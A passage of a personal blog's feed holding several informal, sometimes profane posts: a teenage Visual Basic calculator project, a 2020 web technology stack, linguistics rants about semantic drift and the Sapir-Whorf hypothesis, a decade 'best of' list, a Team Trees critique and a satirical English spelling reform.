<p>Before we start I'd like to make one thing clear: I said it was a group project, but I did all the work. I mean that with no exaggeration, I did <strong>all</strong> of the work - all the code is by me. This isn't to diss on the other three people in the group, we decided it as a group because (and please excuse my brag) I was leagues ahead of everyone else in the class and they would just slow me down. As such, "our" calculator received full marks.</p>
<p>But make no mistake, while I was better than everyone else I was still a 16 year old. Looking back at it now it's pretty bad, I did a few things just to flex on everyone. Things like this:</p>
<p><img src="/img/cal_form_2.png" alt="image-alternative" /></p>
<p>Yes, That is a loading screen for a calculator. After I finished the core functions of the project, I got bored and started to add random crap to it. One of which is this loading bar, which is fake as you can see by the code for it:</p>
<p><img src="/img/cal_form_2_code.png" alt="image-alternative" /></p>
<p>If you don't know Visual Basic (it was required, I wouldn't use it personally), the progress bar has a timer and on every tick a value <code class="prettyprint">ProgressBar1.Value</code> and the width of the bar goes up. When <code class="prettyprint">ProgressBar1.Value</code> reaches 100 it goes to the next form (the actual calculator). I don't think I need to mention how bad of an implementation that is.</p>
<p>Alright, now once you've waited ~2 seconds for no reason we can see the actual calculator:</p>
<p><img src="/img/cal_form_1.png" alt="image-alternative" /></p>
<p>It looks like a calculator, I dunno what to say. If you look closely you will see that several things are misaligned and that's because I don't know how to align things. To flex my programming prowess even more, in the settings menu there is a option to turn on light mode. I forgot to take a picture of that so you're gonna have to imagine it, but here is the mess of code that implements it:</p>
<p><img src="/img/cal_form_1_code_dm.png" alt="image-alternative" /></p>
<p>This is actually to turn on dark mode, there is a separate (but almost identical) function to do light mode.</p>
<p>Now here's the function to do sin:</p>
<p><img src="/img/cal_form_1_code_sn.png" alt="image-alternative" /></p>
<p>I'm coming clean here: I've forgotten almost all of Visual Basic so I don't know if this is bad or not. My gut says it's bad, I'm not sure using the colour of a button is the best thing for a conditional operator but whatever. There isn't that much more to show here, it's actually kinda boring as I didn't see that many things that struck out to me in a "oh shit, why did I do it like that?" way.</p>
<p><img src="/img/cal_form_1_code_eq.png" alt="image-alternative" /></p>
<p>This is the function for when you press <code class="prettyprint">=</code>. It could be better, but it could also be <strong>a lot</strong> worse.</p>
<p>Now previously on <a href="/post/how_do_you_write_a_search_engine">"How The Fuck Do You Write A Search Engine"</a> and <a href="/post/how_do_you_write_a_blog">the other one</a>, I attempted the project again to see if I could make it any better with more experience. I've done the same here:</p>
<p><img src="/img/cal_good.png" alt="image-alternative" /></p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[A 2020 Technology Stack]]></title>
        <id>https://justin.duch.me/post/tech_stack_2020</id>
        <link href="https://justin.duch.me/post/tech_stack_2020"/>
        <updated>2020-01-07T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>With the new decade here, I’d like to talk about what kind of technology stack I would want to build in. For the past year or so, I’ve been playing around with a variety of frameworks for fun, akin to my childhood of Linux distro-hopping, so I think I have a decent idea of what the industry space is like and what’s available.</p>
<p>To be clear, I’m going to mainly focus on a stack for commercial software as a web application. So nothing overly complicated or specific, more like a social network or CRM.</p>
<p>But first I’d like to give my thoughts on the stack du jour. Choosing a tech stack can be subjective, so knowing my opinions on the current state of the web (as well as what I think is) can help you understand why I chose the stack I want to use.</p>
<p>Currently it seems like most applications use ReactJS + NextJS for the client, an Express + Apollo GraphQL server for the backend and MongoDB/Firebase/Amazon DocumentDB as a database. Normally this would be hosted on AWS and will sometimes use Serverless.</p>
<p>I don’t mind this stack that much be honest. React with NextJS is simple to use and a GraphQL server is a good fit for a NoSQL document database. Even though I prefer a SQL DB over NoSQL (even if it isn’t <a href="https://www.youtube.com/watch?v=b2F-DItXtZs">Web Scale</a>), I would be able to easily work with this stack.</p>
<p>So anyway, back to what I <strong>actually</strong> want to use: Svelte + Sapper for the client, Elixir + Phoenix for the server and PostgreSQL as the database. This can all be hosted on a VPS of your choice.</p>
<p>Let’s start with Elixir.</p>
<p>I’m going to be honest, I dislike OOP. I dislike it very much. When I write in Python, I only use classes to help organise my modules. When I write in Java, I throw my PC out the window because Java sucks ass. I also dislike using JavaScript for the backend because it’s a terrible language. TypeScript is no different, it’s just JS… but with static types, that only fixes like 40% of the problems (a big amount, but not enough).</p>
<p>I chose Elixir because I wanted to get away from the normal web server languages like Python or Ruby. OO languages (in my opinion) become unwieldy when the project becomes big, they’re a huge mess of dependencies. Functional programming solves a lot of OOP’s problems and more!</p>
<p>I won’t go into too much detail here, but immutability helps immensely. Code written in a functional style is much easier to understand. If I want to know what a given piece of code does, I know that I will only have to look at that particular code, and not worry about how state in other parts of the program might affect it.</p>
<p>So then if I like functional programming so much, why Elixir over something like Haskell? That's because it scales well. <strong>Extremely well</strong>. Elixir is pretty much made for web applications and its scalability is scary. <a href="https://www.youtube.com/watch?v=JvBT4XBdoUE">"The Soul of Erlang and Elixir"</a> by Saša Jurić is an amazing talk which goes through this and introduced me to the advantages of Elixir, I highly recommend you watch it.</p>
<p>Next up is Svelte.</p>
<p>You might wonder if I’m already using Phoenix then why not use Phoenix LiveView (especially since I seem to hate JS so much)? That’s because I don’t think the ecosystem is quite there yet as well as the fact that it’s yet <strong>another</strong> thing to learn (this applies to WASM as well). Svelte is really cool in the fact that you barely have to learn anything if you already know HTML/CSS and basic JS.</p>
<p>It would be unfair if I had this crazy niche tech stack that I expected someone else to help me with, so I wanted something that you could get into quickly. I also weighed up React, but decided Svelte was worth it even if they knew React instead of Svelte as the learning curve is that flat.</p>
<p>I think choosing PostgreSQL should be self-explanatory.</p>
<p>And finally: hosting on a VPS instead of something like AWS (or even Heroku (which is also technically hosted on AWS)).</p>
<p>This one is super simple: AWS costs too much. I don’t need the majority of things AWS provides, and the ones I do need are very simple to set up myself. And with the <strong>insane</strong> scalability of Elixir, high traffic shouldn’t be too much of an issue for the infrastructure.</p>
<p>That’s about it from me. Hopefully I’ll get to be able to build something on this stack soon (I have some plans). But if this is the first time you’ve ever heard of any of this stuff, I recommend you check it out.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Please Use This Post As The Related Text For Your English Essay In The HSC]]></title>
        <id>https://justin.duch.me/post/hsc_english</id>
        <link href="https://justin.duch.me/post/hsc_english"/>
        <updated>2020-01-01T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Welcome to a new year/decade! If you are not a 2019-2020 HSC student please stop reading now because this is not for you.</p>
<p>Are they gone? Good.</p>
<p>Hello student, my name is Justin Duch. I was born on February 8th 2000 and completed my HSC in 2017. After high school I became a software engineer for a fintech company and started a blog where I write about a bunch of bullshit.</p>
<p>I’m telling you this because the common module on the English syllabus is “Texts and Human Experiences”. This is a text, and those were a few human experiences. As such, this has become the perfect related text for your essay in the HSC!</p>
<p>Not convinced? Well, here’s a bit more text for you.</p>
<p>I’m sure your teacher has told you to refer to an author by their last name in your essays because you don’t know them personally. If you use this text in your essay, you may refer to me by my first name because I am now declaring that we are friends and that we know each other personally. If your want something more formal you can email me (link in bio) with your full name (or whatever name you refer to yourself) and I'll send you a certificate of friendship you can show to your teacher.</p>
<p>Metalanguage is a language used to describe another language, often called the object language<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a>. This is the formal description, a more common way to say it is that metalanguage is just the features of a language. Languages are very broad and the way one uses their language (choice of words and expressions) can convey the author’s personality, attitudes, and beliefs.</p>
<p>Do you want more textual examples? Have some nice sentences.</p>
<p>“Colourless green ideas sleep furiously.”</p>
<p>“James while John had had had had had had had had had had had a better effect on the teacher.”</p>
<p>“Buffalo buffalo Buffalo buffalo buffalo buffalo Buffalo buffalo.”</p>
<p>“That that is is that that is not is not is that it it is.”</p>
<p>Yes these are all grammatically and syntactically correct sentences, look them up. So, are you going to use this now?</p>
<p>Still not convinced?! Are you serious? You still want more? AFTER ALL THAT I'VE DONE FOR YOU!?? TAKE ME OUT THE OVEN FOLKS BECAUSE I'M DONE!</p>
<p>Do you want me to just tell you what to write about? Fine.</p>
<p>When thinking of “Texts and Human Experiences”, the first thing any normal person would think of is the “Sapir-Whorf hypothesis” of course. And as a normal person, I shouldn’t need to tell you that the Sapir-Whorf hypothesis “is a principle claiming that the structure of a language affects its speakers’ world view or cognition, and thus people’s perceptions are relative to their spoken language”<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a>, because you should already know that.</p>
<p>However, when combined with our definition of metalanguage above, this kinda creates circular logic. Metalanguage says that our perceptions of the world are shown in our language through speech/writing, but Sapir-Whorf says that our perceptions comes from our language.</p>
<p>So which is it? A classic chicken and egg problem.</p>
<p>Luckily, we have a very simple answer as the Sapir-Whorf hypothesis has been largely disproven at this point. One big problem with the original hypothesis stems from the idea that if a person’s language has no word for a particular concept, then that person would not be able to understand that concept, which is untrue. Even still, the hypothesis is interesting to think about. But what's more interesting, to me at least, is how some people have applied the hypothesis to justify their prejudices. Since it implies that speakers of other languages were incapable of certain kinds of thoughts, you should hopefully see how this appeals to racists by making different cultures more alien.</p>
<p>A video on YouTube called <a href="https://www.youtube.com/watch?v=WAoNhacojmM">"African Language and the African Mind"</a> is a good example of going for gold in the racist Sapir-Whorf Olympics (unfortunately I could not find a mirror for it, so that link goes to some white supremacist channel). According to the description "Prof. Eugene Valberg discusses the connection between African language and the mind." Now that doesn't seem <strong>too</strong> bad (although it should be "African language<strong>s</strong>", as there are more then one), but at 9:25, Valberg says this: "I observed early on that blacks generally lack self consciousness" and it's all downhill from there. Don't even bother looking at the comments of that video, I can't believe how bigoted some people can be.</p>
<p>I'd like to do an entire post on this garbage, but I really want to say something here first:</p>
<p>The speaker stated that he was monolingual with English and I know that being multilingual is not a requirement for a linguist because you can just keep to your own language family (Indo European for English speakers). But if you're doing research in an entirely different language family, you should probably know at least one of those languages. Languages in Africa (mainly the Niger-Congo language family) is generally considered to be the world's largest language family in terms of distinct languages, and just talking about them as one "African" language is completely wrong.</p>
<p>I may have gotten a bit off track here, but this seems like a good place to stop. I’ve given you some interesting things to think about. Is it good enough for an entire essay? I don’t fucking know, I almost failed English, why are you asking me?</p>
<p>By the way, I’m pretty sure you could actually use this entire blog as a related text <em>wink</em> <em>wink</em>.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: https://en.wikipedia.org/wiki/Metalanguage</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: https://en.wikipedia.org/wiki/Linguistic_relativity</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[What The Right Gets Wrong About Semantic Drift (And Linguistics In General)]]></title>
        <id>https://justin.duch.me/post/semantic_drfit</id>
        <link href="https://justin.duch.me/post/semantic_drfit"/>
        <updated>2019-12-21T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Hello everyone, I am feeling a bit down today so I thought it would be a good idea to laugh at low hanging fruit so we can all cheer up somewhat by thinking to ourselves: “At least I’m not <strong>that</strong> stupid”.</p>
<p>Here are some comments I found on a post from subreddit “r/Ask_TheDonald” called <a href="https://web.archive.org/web/20191205050657/https://old.reddit.com/r/AskThe_Donald/comments/e3g7be/looking_for_the_worst_abuses_of_language/">“Looking for the worst abuses of language destruction”</a>:</p>
<blockquote>
  <p>The worst things progressivism does to language is says there are no real rules, or definitions, and that the usage of the word can change it over time. The word literally for example comes from liter, meaning by the word. Most people know that, and use it to mean the opposite of its definition as a joke, ie I literally died laughing, so now dictionaries say literally can mean its Latin root or “a hyperbolic exaggeration” The word “irony” is the same, so many idiots think it means a funny coincidence that leftist librarians accepted that as a true definition.</p>
</blockquote>
<p>Hmm.</p>
<blockquote>
  <p>Gender - It has more than one definition, but it has for centuries meant “one of the two sexes”. My collection of dictionaries show this definition until about 30 years ago, when leftists and feminist succeeded in changing it to “how one identifies” (paraphrased). They are also actively working on changing related words like boy/girl/man/woman and they are on track to succeed.</p>
</blockquote>
<p>But wait, there's more.</p>
<blockquote>
  <p>Google literally modified the definition of fascism to mean right wing people.</p>
</blockquote>
<p>The thread was posted by u/TheCryptoClub who stated that they were “writing a blog about how liberal progressive incrementalism has shifted the meaning of words to mean vastly different things in the name of political gain” and was asking for examples from the fine gentlemen at r/Ask_TheDonald.</p>
<p>So I’m writing this blog post to explain how that is the dumbest thing I’ve ever read.</p>
<p>But first up, I’m going to directly address “What The Right Gets Wrong About Semantic Drift” so I can say that the title isn’t clickbait and go to sleep soundly at night. Sounds good? Okay, so what does the right get wrong about semantic drift?</p>
<p>Everything. They <strong>literally</strong> don’t understand it (or refuse to understand it).</p>
<p>If you don’t know, semantic drift, or “semantic change” as Wikipedia calls it is “a form of language change regarding the evolution of word usage—usually to the point that the modern meaning is radically different from the original usage”<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a>.</p>
<p>The meanings of words changing is neither a good thing nor a bad thing. It’s just a thing that happens with natural languages. When enough people decide to use a word with a different meaning, guess what? The word means that now! Complaining about it isn’t going to do anything you crybaby.</p>
<p>None of the words in any natural language have any meaning until <strong>we</strong> give it to them and <strong>we</strong> all agree with it. You might disagree with it, but if everyone else agrees then too bad.</p>
<p>Language is a living tree, eternally sprouting new shoots as other branches wither. To say that this is one the “worst things progressivism does to (a) language” shows your ignorance on one of the core functions of a natural language. This isn’t something “progressivism” created you buffoon, it’s been a part of it since <strong>we</strong> developed it. <strong>We</strong> even have an entire field of study for it<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a> you muppets, so don’t you dare say it’s unscientific.</p>
<p>Also what the fuck even is “language destruction”? Seriously, that’s not a thing! Do you really think you can destroy a language by just changing the meanings of some words? Please take a linguistics course before you spout such garbage on the Internet you idiots. How can you go through your entire life speaking a language and not know anything about how it works?</p>
<p>Don’t even get me started on “gender”, which comes from Old French and has meant “kind, sort, class, a class or kind of persons or things sharing certain traits”<a href="#reference-3" class="reference-link" id="reference-3-backlink"><sup>[3]</sup></a> since the 13th century and was only used as a replacement for “sex” in the 15th century. Seriously, your “collection of dictionaries” that show that it used to be “one of the two sexes” belong in a dumpster and <del>set aflame</del> recycled in an environmentally friendly way.</p>
<p>“Google literally modified the definition of fascism to mean right wing people.” Holy shit how can someone be this stupid? Do I even need to say anything?</p>
<p>Goddamn, I need a break.</p>
<hr />
<p>Okay, rant over. I’m back with a nice cup of coffee and I’m ready to dive back in. Not into the other comments though, I don’t want to lose anymore braincells than I already have, but into the main topic of this post.</p>
<p>Something we should also look at is <strong>why</strong> they are so ignorant on this. It’s clear that they understand that words in languages change, but they act like it’s a terrible thing done by the “left”, even though as well all know that it’s not and it’s a normal thing that’s supposed to happen. Thankfully, this has a pretty simple answer.</p>
<p>They’re fascists.</p>
<p>That’s not a joke or anything about the Google guy above. I genuinely believe they are and I don’t think it’s much of a stretch to call them that, considering they’re posting on r/Ask_TheDonald. But a common theme with fascists is that they really, <strong>really</strong> don’t like anything that goes against the tradition.</p>
<p>Now explaining that is going to need a whole other post for me, because I’ll start talking about postmodernism, deconstructing traditions and what not, which is not what this post is about at all so I’ll write it about on another day.</p>
<p>If you are curious however, the video essay <a href="https://www.youtube.com/watch?v=v5DqmTtCPiQ">“Who’s Afraid of Modern Art: Vandalism, Video Games, and Fascism”</a> by Jacob Geller is pretty good. It has nothing to do with linguistics, but I’m sure you could make your own links from watching it.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: https://en.wikipedia.org/wiki/Semantic_change</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: https://en.wikipedia.org/wiki/Etymology</div>
<div class="reference" id="reference-3"><a class="reference-link" href="#reference-3-backlink"><sup>[3]</sup></a>: https://www.etymonline.com/word/gender</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Thing Of The Decade]]></title>
        <id>https://justin.duch.me/post/thing_of_the_decade</id>
        <link href="https://justin.duch.me/post/thing_of_the_decade"/>
        <updated>2019-12-16T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Hello readers, as you know the decade is coming to an end so I thought I would give a thing the title of “Best Thing of the Decade” because people seem to like award shows and I want more clicks on this blog.</p>
<p>Now a serious article might say something like this: “these are all my opinions and may not necessarily be the best thing according to you”. While a humorous article would go: “these are all my opinions which means that they are correct and if you disagree with me you are nitpicking and biased”.</p>
<p>I find both of these to be incredibly overplayed by now, so instead I’m going to be original say this: “these are opinions if you disagree with them otherwise they are facts that reaffirm your bias”. I don’t really like telling people my favourite things because I don’t like being judged so I hope this means I can avoid being emailed mean things about myself because you think I’m a weirdo.</p>
<p>First, let’s go through some things that aren’t quite the “Best Thing of the Decade” but are pretty close (in no particular order).</p>
<h2 id="jojosbizarreadventureanime2012">JoJo’s Bizarre Adventure - Anime (2012)</h2>
<p>Good anime. I don’t know how to talk about TV shows without spoiling them.</p>
<p>Also, Part 4 Jotaro is really hot and I have fantasies that he’d spit on me and call me a bitch…</p>
<p>Actually, I’ve been meaning to do a top ten waifus/husbandos for a while now so I might as well do it here. If you’re not a weeb and don’t care about this, feel free to skip it. It has nothing to do with what this post was originally about anyway.</p>
<ol>
<li>Shun Kaidou (The Disastrous Life of Saiki K.)</li>
<li>Shiota Nagisa (Assassination Classroom)</li>
<li>Jotaro Kujo (JoJo’s Bizarre Adventure)</li>
<li>Narancia Ghirga (JoJo’s Bizarre Adventure)</li>
<li>Ryuji Sakamoto (Persona 5)</li>
<li>Popuko (Pop Team Epic)</li>
<li>Kusuo Saiki (The Disastrous Life of Saiki K.)</li>
<li>Yumehara Chiyo (The Disastrous Life of Saiki K.)</li>
<li>Sae Niijima (Persona 5)</li>
<li>Bernadetta (Fire Emblem: Three Houses)</li>
</ol>
<p>Hmm… I’ve never actually written it down before and it’s seems to be very clear that I have a “type”. This definitely won’t help me convince you that I’m not a weirdo.</p>
<h2 id="thetimeigot2020forahistoryessayonwhyaustraliajoinedthevietnamwar2015">The Time I Got 20/20 For A History Essay On “Why Australia Joined the Vietnam War” (2015)</h2>
<p>Oh this is one of my favourite things that happened during High School. History was my worst subject and on the previous essay I got a 5/20, so this was quite the surprise. Unfortunately, I didn’t keep it up and ended the year with a “C” grade.</p>
<p>I was also going to explain a bit about “Why Australia Joined the Vietnam War” here, but as it turns out, I’ve completely forgotten it.</p>
<h2 id="thisblog2018">This Blog (2018)</h2>
<p>I was thinking about it, but I wouldn’t actually make this blog the “Best Thing of the Decade”. I’m not that narcissistic.</p>
<h2 id="attentionisallyouneed2017">Attention Is All You Need (2017)</h2>
<p>During work I like to open up a random arXiv.org paper on my second monitor because reading research papers makes you look smart. This was not one of those times however, I actually sought out and <strong>read</strong> it!</p>
<p>Here’s the abstract if you don’t know what it’s about:</p>
<blockquote>
  <p>The dominant sequence transduction models are based on complex recurrent or convolutional neural networks that include an encoder and a decoder. The best performing models also connect the encoder and decoder through an attention mechanism. We propose a new simple network architecture, the Transformer, based solely on attention mechanisms, dispensing with recurrence and convolutions entirely. Experiments on two machine translation tasks show these models to be superior in quality while being more parallelizable and requiring significantly less time to train. Our model achieves 28.4 BLEU on the WMT 2014 English- to-German translation task, improving over the existing best results, including ensembles, by over 2 BLEU. On the WMT 2014 English-to-French translation task, our model establishes a new single-model state-of-the-art BLEU score of 41.8 after training for 3.5 days on eight GPUs, a small fraction of the training costs of the best models from the literature. We show that the Transformer generalizes well to other tasks by applying it successfully to English constituency parsing both with large and limited training data.</p>
</blockquote>
<p>NLP is a field I’m very interested in, so I’ve been trying to read papers to get a better understanding of it. I didn’t understand all of it, but just searching up new terms was enough for me to be able to get through it.</p>
<hr />
<p>Wow! It’s now time to reveal what the “Best Thing of the Decade” is!</p>
<h2 id="pokemonbidoofversion2019">Pokemon Bidoof Version (2019)</h2>
<p><a href="https://www.gbahacks.com/2019/04/bidoof-version.html">I don’t know what you expected</a>. The waifu list was a rouse, my real love is for Bidoof.</p>
<p>Incidentally, this is also the best thing of the year so that's pretty cool.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Team Trees And The Climate Catastrophe]]></title>
        <id>https://justin.duch.me/post/team_trees</id>
        <link href="https://justin.duch.me/post/team_trees"/>
        <updated>2019-12-09T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>I’m a bit late to the party on this one, I know but gimme a break. I was busy with important stuff, like playing the video games and doing the <a href="https://www.youtube.com/watch?v=BwSUjLQvYnw">bappin’</a>.</p>
<p>For the uninformed: “<em>Team Trees</em>, also known as <em>TeamTrees</em> or <em>#TeamTrees</em>, is a 2019 collaborative fundraising challenge aiming to raise 20 million U.S. dollars by 2020 to plant 20 million trees. The initiative was started by American YouTubers MrBeast and Mark Rober, and is mostly supported by YouTubers.”<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a> As of me writing this (2019-12-09) <strong>$17,535,090</strong> has been donated, so it doesn’t look like they’re going to achieve their goal, but it’s still a pretty big number either way.</p>
<p>To be nice, I’m going in this giving them the benefit of the doubt. The year hasn’t finished so I’ll assume that they are going to achieve the $20 million goal and I don’t know enough about economies of scale to say whether or not they can plant a tree for a dollar so I’ll assume they can.</p>
<p>With that all said: how to people fall for this? It’s such an obvious marketing ploy. Now a bootlicker might say: “But they’re planting 20 million trees, their marketing for a good cause, it’s a win-win”.</p>
<p>I’ll admit, 20 million trees is a lot of trees. Here’s the problem though: <strong>It’s not even close enough to make even the smallest impact.</strong> According to Business Insider, “we would have to cover the entire contiguous US with trees just to capture 10% of the CO2 we emit annually.”<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a></p>
<p>We would need to plant <strong>one trillion</strong> trees to mitigate the CO2 we emit and we literally do not have enough land for that many. Keep in mind that this is also if we don’t lose any trees. I can look outside my window right now and see a red sky caused by my country being on fire. It is barely summer, and 2 million hectares of land have been burnt since July in more than 7,000 fires that have raged across NSW in the “most challenging bushfire season ever”.<a href="#reference-3" class="reference-link" id="reference-3-backlink"><sup>[3]</sup></a> The bushfires are so bad that they have spread to the rainforests. Fun fact: <strong>there aren’t supposed to be fires in rainforests</strong> (most of the time).</p>
<p>Do you actually think people like MrBeast actually care about the environment? His stunts like “<a href="https://www.youtube.com/watch?v=QxGVgXf_LNk">Going Through The Same Drive Thru 1,000 Times</a>”, “<a href="https://www.youtube.com/watch?v=3TflpIllQHY">I Put 100 Million Orbeez In My Friend’s Backyard</a>”, and “<a href="https://www.youtube.com/watch?v=VqnQ-0q2gb4">Destroyed Friend’s House And Bought Him A New One</a>” don't seem to suggest it. In fact, he’s probably produced more CO2 than what the trees would capture. This is one of the most blatant attempts of <a href="https://en.wikipedia.org/wiki/Greenwashing">greenwashing</a> that I have ever seen, these people are getting so much positive PR for what amounts to nothing.</p>
<p>So what should they be doing instead? Well first I want you to understand that we’re kinda fucked. We’ve done too much damage to the planet and no amount of tree planting or electric car buying is going to help. Please read this <a href="https://docs.google.com/document/d/13hjFQnyRHfQiSZ2fHD4jjvudaPOR99WwZHwdImylD_4/edit">document</a> to fully understand the extent this, it’s kinda long but if you don’t want to read about something that will severely affect you and everyone you know… then you’re just kind of an idiot.</p>
<p>Okay back to the topic, so what should they be doing? The first and most obvious thing would be to stop doing stupid shit for YouTube views and focus on something more productive. There’s a section near the end of the document you should have read that explains some of the things we should be doing. With all their influence, they could promote those things more.</p>
<p>Of course doing stuff like that would most likely destroy their career. But I don’t really care, I’d rather be able to live to see my 30s than watch a video of some guy sit in a pool of slime for 24 hours.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: https://en.wikipedia.org/wiki/Team_Trees</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: https://www.businessinsider.com/so-much-co2-planting-trees-cant-save-us-2017-5?IR=T</div>
<div class="reference" id="reference-3"><a class="reference-link" href="#reference-3-backlink"><sup>[3]</sup></a>: https://www.news.com.au/technology/environment/nature-group-warns-of-global-tragedy-in-nsw-as-unprecedented-bushfires-rage-on/news-story/c8eb73ab1fa04e17ee9ef4a8b61533bf</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[I Have Fixed The English Language And Await My Nobel Prize In Linguistics]]></title>
        <id>https://justin.duch.me/post/fixing_english</id>
        <link href="https://justin.duch.me/post/fixing_english"/>
        <updated>2019-11-27T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<blockquote>
  <p>Justin is infallible and you are luky to reseive his wisdom.</p>
</blockquote>
<p>This is sentence you will be soon be reading on every news outlet, because I've done
it.</p>
<p>I've done what no one else has dared to do. No one! Literally no one! Don't bother checking
just trust me, I am infallible and you are lucky to receive my wisdom. But what did I do?</p>
<p>I've fixed the English language.</p>
<p>English had a good run. Really, it's a fine language but it's gone too far. Sometimes you just
look at a sentence and go: "Oh okay, I guess that sentence is in my life narrative now.
There's no going back from this, I will carry the burden of having read that sentence to my grave.
When I think of things to think about, that sentence will be there, in my brain. Screw it, where's
the closet bridge?"</p>
<p>For context here's the sentence<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a>:</p>
<blockquote>
  <p>once upon a midnight dreary, while i pron surfed, weak and weary, over many a strange and spurious
  site of ' hot xxx galore'. While i clicked my fav'rite bookmark, suddenly there came a warning,
  and my heart was filled with mourning, mourning for my dear amour, " 'Tis not possible!", i muttered,
  " give me back my free hardcore!"….. quoth the server, 404.</p>
</blockquote>
<p>I was just browsing bash.org to waste time during work, I didn't want to be shown this Lovecraftian horror.
I wanted to read the funnies so I can take my mind off pointlessly writing software to make rich people
richer. But no, instead here is a quote that has killed my enthusiasm for life and drove my love for linguistics off
a cliff.</p>
<p>And that's how I knew. I had to fix this.</p>
<h2 id="whatschanged">What's Changed?</h2>
<p>There are a lot of things I don't like about English, but it's ambiguity is not one of them. That's what makes
it a natural language. As such this is not like <a href="http://attempto.ifi.uzh.ch/site/description/">Attempto Controlled English</a>
(ACE) which is a controlled natural language (although it does take some inspiration from it), but is just me taking
out some small things I don't like. First up is spelling:</p>
<h3 id="wordsandspelling">Words and Spelling</h3>
<p>You know what I hate? The alphabet. There are a few letters that create redundant phonemes. Take the letter 'c'
for example: it can make /k/ in 'cake' /keɪk/ or /s/ in 'sentence' /ˈsɛntəns/. As you can see in the symbol for
the phonemes, these are just 'k' and 's'! Thus, the letter 'c' is useless and it should be removed and replaced
with either 'k' or 's'. Other letters such as 'q' which can also be replaced with 'k'.</p>
<p>Examples:</p>
<ul>
<li>'Cake' becomes '<strong>K</strong>ake'.</li>
<li>'Sentence' becomes 'Senten<strong>s</strong>e'.</li>
<li>'Quebec' becomes '<strong>K</strong>uebec'.</li>
</ul>
<p>Next up is silent letters. Get rid of them, this isn't French.</p>
<p>Examples:</p>
<ul>
<li>'Knife' becomes '<strong>N</strong>ife'.</li>
<li>'Queue' becomes '<strong>K</strong>ue'.</li>
</ul>
<p>Accents should also stay in romance languages (<strong>cough</strong> <em>French</em> <strong>cough</strong>) and not pollute English. We can
substitute them with normal letters.</p>
<p>Examples:</p>
<ul>
<li>'Rèsumè' becomes 'Resum<strong>ey</strong>'.</li>
<li>'Façade' becomes 'Fa<strong>s</strong>ade'.</li>
</ul>
<p>These changes are to make English writing much easier to learn and kill the entire industry of spelling bees.</p>
<p>I was also going to change a few morphemes to be something like the prefixes and suffixes of <a href="https://en.wikipedia.org/wiki/Newspeak">Newspeak</a>
from the book '1984', but I couldn't be bothered to document them all so I'm leaving it out.</p>
<h3 id="sentencestructure">Sentence Structure</h3>
<p>First, have a look at the opening line of the US Constitution<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a>:</p>
<blockquote>
  <p>We the People of the United States, in Order to form a more perfect Union, establish Justice, insure domestic Tranquility,
  provide for the common defence, promote the general Welfare, and secure the Blessings of Liberty to ourselves and
  our Posterity, do ordain and establish this Constitution for the United States of America.</p>
</blockquote>
<p>Not as bad as the previous quote, but still pretty bad as it's incredibly terse and hard to parse. I think this is what people
in ye' olden times thought sounding smart was like. To repeat the ancient proverb: "Ok Boomer". Time to fix it like how we need
to fix the climate catastrophe.</p>
<p>This is the sentence structure as defined by ACE:</p>
<p> <code class="prettyprint">subject + verb + complements + adjuncts</code></p>
<p>It's simple because it's a controlled language that's designed to be easily parsed by computers. Note the fact that conjunctions
aren't listed which pretty much removes the recursive elements of a sentence. I'm trying to keep English as natural as possible
and recursive sentences are a must for human expression. So, here's the new sentence structure:</p>
<p> <code class="prettyprint">subject + verb + complements + conjunction&lt;recurse&gt; || adjuncts</code></p>
<p>This would basically just be English except for one more rule: "individual conjunctions cannot be repeated", which means that you
can't use a conjunction more than once. I.E. you can't have two 'and's in a sentence, but you can have one 'and' and one 'but'. This
is to ensure sentences are not infinite and set a recursion limit as you'll eventually run out of conjunctions (you can still technically
do it with lists separated by commas but I'm ignoring that).</p>
<p>Let's take a look at what the US Constitution would look like with these rules:</p>
<blockquote>
  <p>We the People of the United States do ordain and establish this Constitution for the United States of America in Order to form
  a more perfect Union, establish Justice, insure domestic Tranquility, provide for the common defence, promote the general Welfare,
  and secure the Blessings of Liberty to ourselves as well as our Posterity.</p>
</blockquote>
